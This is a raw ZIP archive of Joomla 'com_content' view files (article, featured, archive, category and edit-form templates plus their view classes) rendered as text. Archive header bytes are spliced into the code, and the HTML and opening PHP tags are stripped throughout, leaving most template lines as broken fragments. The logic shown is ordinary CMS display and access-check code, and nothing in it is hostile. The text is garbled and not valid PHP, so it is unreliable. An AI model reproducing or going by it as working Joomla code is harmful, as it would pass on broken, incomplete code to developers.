            form->getLabel('image_fulltext_caption', 'images'); ?> form->getInput('image_fulltext_caption', 'images'); ?>
            form->getLabel('float_fulltext', 'images'); ?> form->getInput('float_fulltext', 'images'); ?>
            form->getLabel('urla', 'urls'); ?> form->getInput('urla', 'urls'); ?>
            form->getLabel('urlatext', 'urls'); ?> form->getInput('urlatext', 'urls'); ?>
            form->getInput('targeta', 'urls'); ?>
            form->getLabel('urlb', 'urls'); ?> form->getInput('urlb', 'urls'); ?>
            form->getLabel('urlbtext', 'urls'); ?> form->getInput('urlbtext', 'urls'); ?>
            form->getInput('targetb', 'urls'); ?>
            form->getLabel('urlc', 'urls'); ?> form->getInput('urlc', 'urls'); ?>
            form->getLabel('urlctext', 'urls'); ?> form->getInput('urlctext', 'urls'); ?>
            form->getInput('targetc', 'urls'); ?>
            form->getLabel('catid'); ?> form->getInput('catid'); ?>
            form->getLabel('created_by_alias'); ?> form->getInput('created_by_alias'); ?>
            item->params->get('access-change')): ?>
            form->getLabel('state'); ?> form->getInput('state'); ?>
            form->getLabel('featured'); ?> form->getInput('featured'); ?>
            form->getLabel('publish_up'); ?> form->getInput('publish_up'); ?>
            form->getLabel('publish_down'); ?> form->getInput('publish_down'); ?>
            form->getLabel('access'); ?> form->getInput('access'); ?>
            item->id)):?>

            form->getLabel('language'); ?> form->getInput('language'); ?>
            form->getLabel('metadesc'); ?> form->getInput('metadesc'); ?>
            form->getLabel('metakey'); ?> form->getInput('metakey'); ?>
            params->get('enable_category', 0) == 1) :?>
            PKGy>\33$com_content/views/form/tmpl/edit.xmlnuW+A
            PKGy>\V&com_content/views/form/tmpl/index.htmlnuW+A PKGy>\)%com_content/views/form/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\\#com_content/views/form/metadata.xmlnuW+A PKGy>\碧a $com_content/views/form/view.html.phpnuW+Astate = $this->get('State'); $this->item = $this->get('Item'); $this->form = $this->get('Form'); $this->return_page = $this->get('ReturnPage'); if (empty($this->item->id)) { $authorised = $user->authorise('core.create', 'com_content') || (count($user->getAuthorisedCategories('com_content', 'core.create'))); } else { $authorised = $this->item->params->get('access-edit'); } if ($authorised !== true) { JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); return false; } if (!empty($this->item) && isset($this->item->id)) { $this->item->images = json_decode($this->item->images); $this->item->urls = json_decode($this->item->urls); $tmp = new stdClass; $tmp->images = $this->item->images; $tmp->urls = $this->item->urls; $this->form->bind($tmp); } // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseWarning(500, implode("\n", $errors)); return false; } // Create a shortcut to the parameters. $params = &$this->state->params; //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->params = $params; $this->user = $user; if ($params->get('enable_category') == 1) { $this->form->setFieldAttribute('catid', 'default', $params->get('catid', 1)); $this->form->setFieldAttribute('catid', 'readonly', 'true'); } $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('COM_CONTENT_FORM_EDIT_ARTICLE')); } $title = $this->params->def('page_title', JText::_('COM_CONTENT_FORM_EDIT_ARTICLE')); if ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); $pathway = $app->getPathWay(); $pathway->addItem($title, ''); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } PKGy>\ VR/R/+com_content/views/featured/tmpl/default.xmlnuW+A
            PKGy>\zPP1com_content/views/featured/tmpl/default_links.phpnuW+A

              link_items as &$item) : ?>
            1. title; ?>
            PKGy>\!c0com_content/views/featured/tmpl/default_item.phpnuW+Aitem->params; $images = json_decode($this->item->images); $canEdit = $this->item->params->get('access-edit'); ?> item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate())) : ?>
            get('show_title')) : ?>

            get('link_titles') && $params->get('access-view')) : ?> escape($this->item->title); ?> escape($this->item->title); ?>

            get('show_print_icon') || $params->get('show_email_icon') || $canEdit) : ?>
              get('show_print_icon')) : ?> get('show_email_icon')) : ?>
            • item, $params); ?>
            get('show_intro')) : ?> item->event->afterDisplayTitle; ?> item->event->beforeDisplayContent; ?> get('show_author')) or ($params->get('show_category')) or ($params->get('show_create_date')) or ($params->get('show_modify_date')) or ($params->get('show_publish_date')) or ($params->get('show_parent_category')) or ($params->get('show_hits'))) : ?> image_intro) and !empty($images->image_intro)) : ?> float_intro)) ? $params->get('float_intro') : $images->float_intro; ?>
            image_intro_caption): echo 'class="caption"'.' title="' .htmlspecialchars($images->image_intro_caption) .'"'; endif; ?> src="image_intro); ?>" alt="image_intro_alt); ?>"/>
            item->introtext; ?> get('show_readmore') && $this->item->readmore) : if ($params->get('access-view')) : $link = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); else : $menu = JFactory::getApplication()->getMenu(); $active = $menu->getActive(); $itemId = $active->id; $link1 = JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId); $returnURL = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); $link = new JURI($link1); $link->setVar('return', base64_encode(urlencode($returnURL))); endif; ?>

            get('access-view')) : echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); elseif ($readmore = $this->item->alternative_readmore) : echo $readmore; if ($params->get('show_readmore_title', 0) != 0) : echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; elseif ($params->get('show_readmore_title', 0) == 0) : echo JText::sprintf('COM_CONTENT_READ_MORE_TITLE'); else : echo JText::_('COM_CONTENT_READ_MORE'); echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; ?>

            item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate())) : ?>
            item->event->afterDisplayContent; ?> PKGy>\Œ'com_content/views/featured/metadata.xmlnuW+A PKGy>\TO (com_content/views/featured/view.feed.phpnuW+AgetParams(); $feedEmail = $app->getCfg('feed_email', 'author'); $siteEmail = $app->getCfg('mailfrom'); $doc->link = JRoute::_('index.php?option=com_content&view=featured'); // Get some data from the model JRequest::setVar('limit', $app->getCfg('feed_limit')); $categories = JCategories::getInstance('Content'); $rows = $this->get('Items'); foreach ($rows as $row) { // strip html from feed item title $title = $this->escape($row->title); $title = html_entity_decode($title, ENT_COMPAT, 'UTF-8'); // Compute the article slug $row->slug = $row->alias ? ($row->id . ':' . $row->alias) : $row->id; // Url link to article $link = JRoute::_(ContentHelperRoute::getArticleRoute($row->slug, $row->catid, $row->language)); // Get row fulltext $db = JFactory::getDBO(); $query = 'SELECT' .$db->quoteName('fulltext'). 'FROM #__content WHERE id ='.$row->id; $db->setQuery($query); $row->fulltext = $db->loadResult(); $description = ($params->get('feed_summary', 0) ? $row->introtext.$row->fulltext : $row->introtext); $author = $row->created_by_alias ? $row->created_by_alias : $row->author; // Load individual item creator class $item = new JFeedItem(); $item->title = $title; $item->link = $link; $item->date = $row->publish_up; $item_category = $categories->get($row->catid); $item->category = array(); $item->category[] = JText::_('JFEATURED'); // All featured articles are categorized as "Featured" for ($item_category = $categories->get($row->catid); $item_category !== null; $item_category = $item_category->getParent()) { if ($item_category->id > 1) { // Only add non-root categories $item->category[] = $item_category->title; } } $item->author = $author; if ($feedEmail == 'site') { $item->authorEmail = $siteEmail; } elseif ($feedEmail === 'author') { $item->authorEmail = $row->author_email; } // Add readmore link to description if introtext is shown, show_readmore is true and fulltext exists if (!$params->get('feed_summary', 0) && $params->get('feed_show_readmore', 0) && $row->fulltext) { $description .= '

            '.JText::_('COM_CONTENT_FEED_READMORE').'

            '; } // Load item description and add div $item->description = '
            '.$description.'
            '; // Loads item info into rss array $doc->addItem($item); } } } PKGy>\RE!E!*com_content/views/article/tmpl/default.phpnuW+Aitem->params; $images = json_decode($this->item->images); $urls = json_decode($this->item->urls); $canEdit = $this->item->params->get('access-edit'); $user = JFactory::getUser(); ?>
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            item->pagination) AND $this->item->pagination && !$this->item->paginationposition && $this->item->paginationrelative) { echo $this->item->pagination; } ?> get('show_title')) : ?>

            get('link_titles') && !empty($this->item->readmore_link)) : ?> escape($this->item->title); ?> escape($this->item->title); ?>

            get('show_print_icon') || $params->get('show_email_icon')) : ?>
              print) : ?> get('show_print_icon')) : ?> get('show_email_icon')) : ?>
            • item, $params); ?>
            • item, $params); ?>
            get('show_intro')) : echo $this->item->event->afterDisplayTitle; endif; ?> item->event->beforeDisplayContent; ?> get('show_author')) or ($params->get('show_category')) or ($params->get('show_parent_category')) or ($params->get('show_create_date')) or ($params->get('show_modify_date')) or ($params->get('show_publish_date')) or ($params->get('show_hits'))); ?> item->toc)) : ?> item->toc; ?> urls_position) AND ($urls->urls_position=='0')) OR ($params->get('urls_position')=='0' AND empty($urls->urls_position) )) OR (empty($urls->urls_position) AND (!$params->get('urls_position')))): ?> loadTemplate('links'); ?> get('access-view')):?> image_fulltext) and !empty($images->image_fulltext)) : ?> float_fulltext)) ? $params->get('float_fulltext') : $images->float_fulltext; ?>
            image_fulltext_caption): echo 'class="caption"'.' title="' .htmlspecialchars($images->image_fulltext_caption) .'"'; endif; ?> src="image_fulltext); ?>" alt="image_fulltext_alt); ?>"/>
            item->pagination) AND $this->item->pagination AND !$this->item->paginationposition AND !$this->item->paginationrelative): echo $this->item->pagination; endif; ?> item->text; ?> item->pagination) AND $this->item->pagination AND $this->item->paginationposition AND!$this->item->paginationrelative): echo $this->item->pagination;?> urls_position) AND ($urls->urls_position=='1')) OR ( $params->get('urls_position')=='1') )): ?> loadTemplate('links'); ?> get('show_noauth') == true and $user->get('guest') ) : ?> item->introtext; ?> get('show_readmore') && $this->item->fulltext != null) : $link1 = JRoute::_('index.php?option=com_users&view=login'); $link = new JURI($link1);?>

            item->attribs); ?> alternative_readmore == null) : echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); elseif ($readmore = $this->item->alternative_readmore) : echo $readmore; if ($params->get('show_readmore_title', 0) != 0) : echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; elseif ($params->get('show_readmore_title', 0) == 0) : echo JText::sprintf('COM_CONTENT_READ_MORE_TITLE'); else : echo JText::_('COM_CONTENT_READ_MORE'); echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; ?>

            item->pagination) AND $this->item->pagination AND $this->item->paginationposition AND $this->item->paginationrelative): echo $this->item->pagination;?> item->event->afterDisplayContent; ?>
            PKGy>\Hm*com_content/views/article/tmpl/default.xmlnuW+A
            PKGy>\"! ! 0com_content/views/article/tmpl/default_links.phpnuW+Aitem->urls); // Create shortcuts to some parameters. $params = $this->item->params; if ($urls && (!empty($urls->urla) || !empty($urls->urlb) || !empty($urls->urlc))) : ?> PKGy>\1&com_content/views/article/metadata.xmlnuW+A PKGy>\V$com_content/views/archive/index.htmlnuW+A PKGy>\(0com_content/views/archive/tmpl/default_items.phpnuW+Aparams; ?>
              items as $i => $item) : ?>
            • get('link_titles')): ?> escape($item->title); ?> escape($item->title); ?>

              get('show_author')) or ($params->get('show_parent_category')) or ($params->get('show_category')) or ($params->get('show_create_date')) or ($params->get('show_modify_date')) or ($params->get('show_publish_date')) or ($params->get('show_hits'))) : ?> get('show_intro')) :?>
              introtext, $params->get('introtext_limit')); ?>
            PKGy>\)(com_content/views/archive/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\8$*com_content/views/archive/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            loadTemplate('items'); ?>
            PKGy>\_oo*com_content/views/archive/tmpl/default.xmlnuW+A
            PKGy>\V)com_content/views/archive/tmpl/index.htmlnuW+A PKGy>\㿱'com_content/views/archive/view.html.phpnuW+Aget('State'); $items = $this->get('Items'); $pagination = $this->get('Pagination'); $pathway = $app->getPathway(); $document = JFactory::getDocument(); // Get the page/component configuration $params = &$state->params; foreach ($items as $item) { $item->catslug = ($item->category_alias) ? ($item->catid . ':' . $item->category_alias) : $item->catid; $item->parent_slug = ($item->parent_alias) ? ($item->parent_id . ':' . $item->parent_alias) : $item->parent_id; } $form = new stdClass(); // Month Field $months = array( '' => JText::_('COM_CONTENT_MONTH'), '01' => JText::_('JANUARY_SHORT'), '02' => JText::_('FEBRUARY_SHORT'), '03' => JText::_('MARCH_SHORT'), '04' => JText::_('APRIL_SHORT'), '05' => JText::_('MAY_SHORT'), '06' => JText::_('JUNE_SHORT'), '07' => JText::_('JULY_SHORT'), '08' => JText::_('AUGUST_SHORT'), '09' => JText::_('SEPTEMBER_SHORT'), '10' => JText::_('OCTOBER_SHORT'), '11' => JText::_('NOVEMBER_SHORT'), '12' => JText::_('DECEMBER_SHORT') ); $form->monthField = JHtml::_( 'select.genericlist', $months, 'month', array( 'list.attr' => 'size="1" class="inputbox"', 'list.select' => $state->get('filter.month'), 'option.key' => null ) ); // Year Field $years = array(); $years[] = JHtml::_('select.option', null, JText::_('JYEAR')); for ($i = 2000; $i <= 2020; $i++) { $years[] = JHtml::_('select.option', $i, $i); } $form->yearField = JHtml::_( 'select.genericlist', $years, 'year', array('list.attr' => 'size="1" class="inputbox"', 'list.select' => $state->get('filter.year')) ); $form->limitField = $pagination->getLimitBox(); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->filter = $state->get('list.filter'); $this->assignRef('form', $form); $this->assignRef('items', $items); $this->assignRef('params', $params); $this->assignRef('user', $user); $this->assignRef('pagination', $pagination); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES')); } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } } } ?> PKGy>\)#com_content/views/archive/.htaccessnuW+A Order allow,deny Deny from all PKGy>\$N&com_content/views/archive/metadata.xmlnuW+A PKGy>\)$com_content/views/category/.htaccessnuW+A Order allow,deny Deny from all PKGy>\"@V'com_content/views/category/metadata.xmlnuW+A PKGy>\7m##(com_content/views/category/view.html.phpnuW+Aget('State'); $params = $state->params; $items = $this->get('Items'); $category = $this->get('Category'); $children = $this->get('Children'); $parent = $this->get('Parent'); $pagination = $this->get('Pagination'); // Check for errors. if (count($errors = $this->get('Errors'))) { JError::raiseError(500, implode("\n", $errors)); return false; } if ($category == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } if ($parent == false) { return JError::raiseError(404, JText::_('JGLOBAL_CATEGORY_NOT_FOUND')); } // Setup the category parameters. $cparams = $category->getParams(); $category->params = clone($params); $category->params->merge($cparams); // Check whether category access level allows access. $user = JFactory::getUser(); $groups = $user->getAuthorisedViewLevels(); if (!in_array($category->access, $groups)) { return JError::raiseError(403, JText::_('JERROR_ALERTNOAUTHOR')); } // PREPARE THE DATA // Get the metrics for the structural page layout. $numLeading = $params->def('num_leading_articles', 1); $numIntro = $params->def('num_intro_articles', 4); $numLinks = $params->def('num_links', 4); // Compute the article slugs and prepare introtext (runs content plugins). for ($i = 0, $n = count($items); $i < $n; $i++) { $item = &$items[$i]; $item->slug = $item->alias ? ($item->id . ':' . $item->alias) : $item->id; // No link for ROOT category if ($item->parent_alias == 'root') { $item->parent_slug = null; } $item->catslug = $item->category_alias ? ($item->catid.':'.$item->category_alias) : $item->catid; $item->event = new stdClass(); $dispatcher = JDispatcher::getInstance(); // Old plugins: Ensure that text property is available if (!isset($item->text)) { $item->text = $item->introtext; } JPluginHelper::importPlugin('content'); $results = $dispatcher->trigger('onContentPrepare', array ('com_content.category', &$item, &$this->params, 0)); // Old plugins: Use processed text as introtext $item->introtext = $item->text; $results = $dispatcher->trigger('onContentAfterTitle', array('com_content.category', &$item, &$item->params, 0)); $item->event->afterDisplayTitle = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentBeforeDisplay', array('com_content.category', &$item, &$item->params, 0)); $item->event->beforeDisplayContent = trim(implode("\n", $results)); $results = $dispatcher->trigger('onContentAfterDisplay', array('com_content.category', &$item, &$item->params, 0)); $item->event->afterDisplayContent = trim(implode("\n", $results)); } // Check for layout override only if this is not the active menu item // If it is the active menu item, then the view and category id will match $active = $app->getMenu()->getActive(); if ((!$active) || ((strpos($active->link, 'view=category') === false) || (strpos($active->link, '&id=' . (string) $category->id) === false))) { // Get the layout from the merged category params if ($layout = $category->params->get('category_layout')) { $this->setLayout($layout); } } // At this point, we are in a menu item, so we don't override the layout elseif (isset($active->query['layout'])) { // We need to set the layout from the query in case this is an alternative menu item (with an alternative layout) $this->setLayout($active->query['layout']); } // For blog layouts, preprocess the breakdown of leading, intro and linked articles. // This makes it much easier for the designer to just interrogate the arrays. if (($params->get('layout_type') == 'blog') || ($this->getLayout() == 'blog')) { $max = count($items); // The first group is the leading articles. $limit = $numLeading; for ($i = 0; $i < $limit && $i < $max; $i++) { $this->lead_items[$i] = &$items[$i]; } // The second group is the intro articles. $limit = $numLeading + $numIntro; // Order articles across, then down (or single column mode) for ($i = $numLeading; $i < $limit && $i < $max; $i++) { $this->intro_items[$i] = &$items[$i]; } $this->columns = max(1, $params->def('num_columns', 1)); $order = $params->def('multi_column_order', 1); if ($order == 0 && $this->columns > 1) { // call order down helper $this->intro_items = ContentHelperQuery::orderDownColumns($this->intro_items, $this->columns); } $limit = $numLeading + $numIntro + $numLinks; // The remainder are the links. for ($i = $numLeading + $numIntro; $i < $limit && $i < $max;$i++) { $this->link_items[$i] = &$items[$i]; } } $children = array($category->id => $children); //Escape strings for HTML output $this->pageclass_sfx = htmlspecialchars($params->get('pageclass_sfx')); $this->maxLevel = $params->get('maxLevel', -1); $this->assignRef('state', $state); $this->assignRef('items', $items); $this->assignRef('category', $category); $this->assignRef('children', $children); $this->assignRef('params', $params); $this->assignRef('parent', $parent); $this->assignRef('pagination', $pagination); $this->assignRef('user', $user); $this->_prepareDocument(); parent::display($tpl); } /** * Prepares the document */ protected function _prepareDocument() { $app = JFactory::getApplication(); $menus = $app->getMenu(); $pathway = $app->getPathway(); $title = null; // Because the application sets a default page title, // we need to get it from the menu item itself $menu = $menus->getActive(); if ($menu) { $this->params->def('page_heading', $this->params->get('page_title', $menu->title)); } else { $this->params->def('page_heading', JText::_('JGLOBAL_ARTICLES')); } $id = (int) @$menu->query['id']; if ($menu && ($menu->query['option'] != 'com_content' || $menu->query['view'] == 'article' || $id != $this->category->id)) { $path = array(array('title' => $this->category->title, 'link' => '')); $category = $this->category->getParent(); while (($menu->query['option'] != 'com_content' || $menu->query['view'] == 'article' || $id != $category->id) && $category->id > 1) { $path[] = array('title' => $category->title, 'link' => ContentHelperRoute::getCategoryRoute($category->id)); $category = $category->getParent(); } $path = array_reverse($path); foreach ($path as $item) { $pathway->addItem($item['title'], $item['link']); } } $title = $this->params->get('page_title', ''); if (empty($title)) { $title = $app->getCfg('sitename'); } elseif ($app->getCfg('sitename_pagetitles', 0) == 1) { $title = JText::sprintf('JPAGETITLE', $app->getCfg('sitename'), $title); } elseif ($app->getCfg('sitename_pagetitles', 0) == 2) { $title = JText::sprintf('JPAGETITLE', $title, $app->getCfg('sitename')); } $this->document->setTitle($title); if ($this->category->metadesc) { $this->document->setDescription($this->category->metadesc); } elseif (!$this->category->metadesc && $this->params->get('menu-meta_description')) { $this->document->setDescription($this->params->get('menu-meta_description')); } if ($this->category->metakey) { $this->document->setMetadata('keywords', $this->category->metakey); } elseif (!$this->category->metakey && $this->params->get('menu-meta_keywords')) { $this->document->setMetadata('keywords', $this->params->get('menu-meta_keywords')); } if ($this->params->get('robots')) { $this->document->setMetadata('robots', $this->params->get('robots')); } if ($app->getCfg('MetaAuthor') == '1') { $this->document->setMetaData('author', $this->category->getMetadata()->get('author')); } $mdata = $this->category->getMetadata()->toArray(); foreach ($mdata as $k => $v) { if ($v) { $this->document->setMetadata($k, $v); } } // Add feed links if ($this->params->get('show_feed_link', 1)) { $link = '&format=feed&limitstart='; $attribs = array('type' => 'application/rss+xml', 'title' => 'RSS 2.0'); $this->document->addHeadLink(JRoute::_($link . '&type=rss'), 'alternate', 'rel', $attribs); $attribs = array('type' => 'application/atom+xml', 'title' => 'Atom 1.0'); $this->document->addHeadLink(JRoute::_($link . '&type=atom'), 'alternate', 'rel', $attribs); } } } PKGy>\
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_category_title', 1) or $this->params->get('page_subheading')) : ?>

            escape($this->params->get('page_subheading')); ?> params->get('show_category_title')) : ?> category->title;?>

            params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
            params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> params->get('show_description') && $this->category->description) : ?> category->description, '', 'com_content.category'); ?>
            lead_items) && empty($this->link_items) && empty($this->intro_items)) : ?> params->get('show_no_articles', 1)) : ?>

            lead_items)) : ?>
            lead_items as &$item) : ?>
            item = &$item; echo $this->loadTemplate('item'); ?>
            intro_items)); $counter=0; ?> intro_items)) : ?> intro_items as $key => &$item) : ?> columns) +1; $row = $counter / $this->columns ; if ($rowcount==1) : ?>
            item = &$item; echo $this->loadTemplate('item'); ?>
            columns) or ($counter ==$introcount)): ?>
            link_items)) : ?> loadTemplate('links'); ?> children[$this->category->id])&& $this->maxLevel != 0) : ?>
            params->get('show_category_heading_title_text', 1) == 1) : ?>

            loadTemplate('children'); ?>
            params->def('show_pagination', 1) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->get('pages.total') > 1)) : ?>
            PKGy>\ԭ==(com_content/views/category/tmpl/blog.xmlnuW+A
            PKGy>\᧛+com_content/views/category/tmpl/default.phpnuW+A
            params->get('show_page_heading')) : ?>

            escape($this->params->get('page_heading')); ?>

            params->get('show_category_title', 1) or $this->params->get('page_subheading')) : ?>

            escape($this->params->get('page_subheading')); ?> params->get('show_category_title')) : ?> category->title;?>

            params->get('show_description', 1) || $this->params->def('show_description_image', 1)) : ?>
            params->get('show_description_image') && $this->category->getParams()->get('image')) : ?> params->get('show_description') && $this->category->description) : ?> category->description, '', 'com_content.category'); ?>
            loadTemplate('articles'); ?>
            children[$this->category->id])&& $this->maxLevel != 0) : ?>
            params->get('show_category_heading_title_text', 1) == 1) : ?>

            loadTemplate('children'); ?>
            PKGy>\d<<1com_content/views/category/tmpl/blog_children.phpnuW+A children[$this->category->id]) > 0 && $this->maxLevel != 0) : ?>
              children[$this->category->id] as $id => $child) : ?> params->get('show_empty_categories') || $child->numitems || count($child->getChildren())) : if (!isset($this->children[$this->category->id][$id + 1])) : $class = ' class="last"'; endif; ?> > escape($child->title); ?> params->get('show_subcat_desc') == 1) :?> description) : ?>
              description, '', 'com_content.category'); ?>
              params->get('show_cat_num_articles', 1)) : ?>
              getNumItems(true); ?>
              getChildren()) > 0): $this->children[$child->id] = $child->getChildren(); $this->category = $child; $this->maxLevel--; if ($this->maxLevel != 0) : echo $this->loadTemplate('children'); endif; $this->category = $child->getParent(); $this->maxLevel++; endif; ?>
            \fPZ:Z:+com_content/views/category/tmpl/default.xmlnuW+A
            PKGy>\V*com_content/views/category/tmpl/index.htmlnuW+A PKGy>\N-com_content/views/category/tmpl/blog_item.phpnuW+Aitem->params; $images = json_decode($this->item->images); $canEdit = $this->item->params->get('access-edit'); JHtml::addIncludePath(JPATH_COMPONENT.'/helpers/html'); JHtml::_('behavior.tooltip'); JHtml::_('behavior.framework'); ?> item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate())) : ?>
            get('show_title')) : ?>

            get('link_titles') && $params->get('access-view')) : ?> escape($this->item->title); ?> escape($this->item->title); ?>

            get('show_print_icon') || $params->get('show_email_icon') || $canEdit) : ?>
              get('show_print_icon')) : ?> get('show_email_icon')) : ?>
            • item, $params); ?>
            get('show_intro')) : ?> item->event->afterDisplayTitle; ?> item->event->beforeDisplayContent; ?> get('show_author')) or ($params->get('show_category')) or ($params->get('show_create_date')) or ($params->get('show_modify_date')) or ($params->get('show_publish_date')) or ($params->get('show_parent_category')) or ($params->get('show_hits'))) : ?> image_intro) and !empty($images->image_intro)) : ?> float_intro)) ? $params->get('float_intro') : $images->float_intro; ?>
            image_intro_caption): echo 'class="caption"'.' title="' .htmlspecialchars($images->image_intro_caption) .'"'; endif; ?> src="image_intro); ?>" alt="image_intro_alt); ?>"/>
            item->introtext; ?> get('show_readmore') && $this->item->readmore) : if ($params->get('access-view')) : $link = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); else : $menu = JFactory::getApplication()->getMenu(); $active = $menu->getActive(); $itemId = $active->id; $link1 = JRoute::_('index.php?option=com_users&view=login&Itemid=' . $itemId); $returnURL = JRoute::_(ContentHelperRoute::getArticleRoute($this->item->slug, $this->item->catid, $this->item->language)); $link = new JURI($link1); $link->setVar('return', base64_encode(urlencode($returnURL))); endif; ?>

            get('access-view')) : echo JText::_('COM_CONTENT_REGISTER_TO_READ_MORE'); elseif ($readmore = $this->item->alternative_readmore) : echo $readmore; if ($params->get('show_readmore_title', 0) != 0) : echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; elseif ($params->get('show_readmore_title', 0) == 0) : echo JText::sprintf('COM_CONTENT_READ_MORE_TITLE'); else : echo JText::_('COM_CONTENT_READ_MORE'); echo JHtml::_('string.truncate', ($this->item->title), $params->get('readmore_limit')); endif; ?>

            item->state == 0 || strtotime($this->item->publish_up) > strtotime(JFactory::getDate())) : ?>
            item->event->afterDisplayContent; ?> PKGy>\))com_content/views/category/tmpl/.htaccessnuW+A Order allow,deny Deny from all PKGy>\ Jqq.com_content/views/category/tmpl/blog_links.phpnuW+A

              link_items as &$item) : ?>
            1. title; ?>
            PKGy>\%P*4com_content/views/category/tmpl/default_articles.phpnuW+Aitem->params; $n = count($this->items); $listOrder = $this->escape($this->state->get('list.ordering')); $listDirn = $this->escape($this->state->get('list.direction')); ?> items)) : ?> params->get('show_no_articles', 1)) : ?>

            params->get('show_headings') || $this->params->get('filter_field') != 'hide' || $this->params->get('show_pagination_limit')) :?>
            params->get('filter_field') != 'hide') :?> params->get('show_pagination_limit')) : ?>
              pagination->getLimitBox(); ?>
            params->get('show_headings')) :?> params->get('list_show_date')) : ?> params->get('list_show_author', 1)) : ?> params->get('list_show_hits', 1)) : ?> items as $i => $article) : ?> items[$i]->state == 0) : ?> access, $this->user->getAuthorisedViewLevels())) : ?> params->get('list_show_date')) : ?> params->get('list_show_author', 1)) : ?> params->get('list_show_hits', 1)) : ?>
            escape($article->title); ?> params->get('access-edit')) : ?>
            displayDate, $this->escape( $this->params->get('date_format', JText::_('DATE_FORMAT_LC3')))); ?> author) || !empty($article->created_by_alias)) : ?> author ?> created_by_alias ? $article->created_by_alias : $author);?> contactid ) && $this->params->get('link_author') == true):?> contactid), $author ); ?> hits; ?> escape($article->title).' : '; $menu = JFactory::getApplication()->getMenu(); $active = $menu->getActive(); $itemId = $active->id; $link = JRoute::_('index.php?option=com_users&view=login&Itemid='.$itemId); $returnURL = JRoute::_(ContentHelperRoute::getArticleRoute($article->slug, $article->catid, $article->language)); $fullURL = new JURI($link); $fullURL->setVar('return', base64_encode(urlencode($returnURL))); ?>
            category->getParams()->get('access-create')) : ?> category, $this->category->params); ?> items)) : ?> params->def('show_pagination', 2) == 1 || ($this->params->get('show_pagination') == 2)) && ($this->pagination->get('pages.total') > 1)) : ?>
            PKGy>\#=1))4com_content/views/category/tmpl/default_children.phpnuW+A children[$this->category->id]) > 0) : ?>
              children[$this->category->id] as $id => $child) : ?> params->get('show_empty_categories') || $child->getNumItems(true) || count($child->getChildren())) : if (!isset($this->children[$this->category->id][$id + 1])) : $class = ' class="last"'; endif; ?> > escape($child->title); ?> params->get('show_subcat_desc') == 1) :?> description) : ?>
              description, '', 'com_content.category'); ?>
              params->get('show_cat_num_articles', 1)) : ?>
              getNumItems(true); ?>
              getChildren()) > 0 ) : $this->children[$child->id] = $child->getChildren(); $this->category = $child; $this->maxLevel--; if ($this->maxLevel != 0) : echo $this->loadTemplate('children'); endif; $this->category = $child->getParent(); $this->maxLevel++; endif; ?>
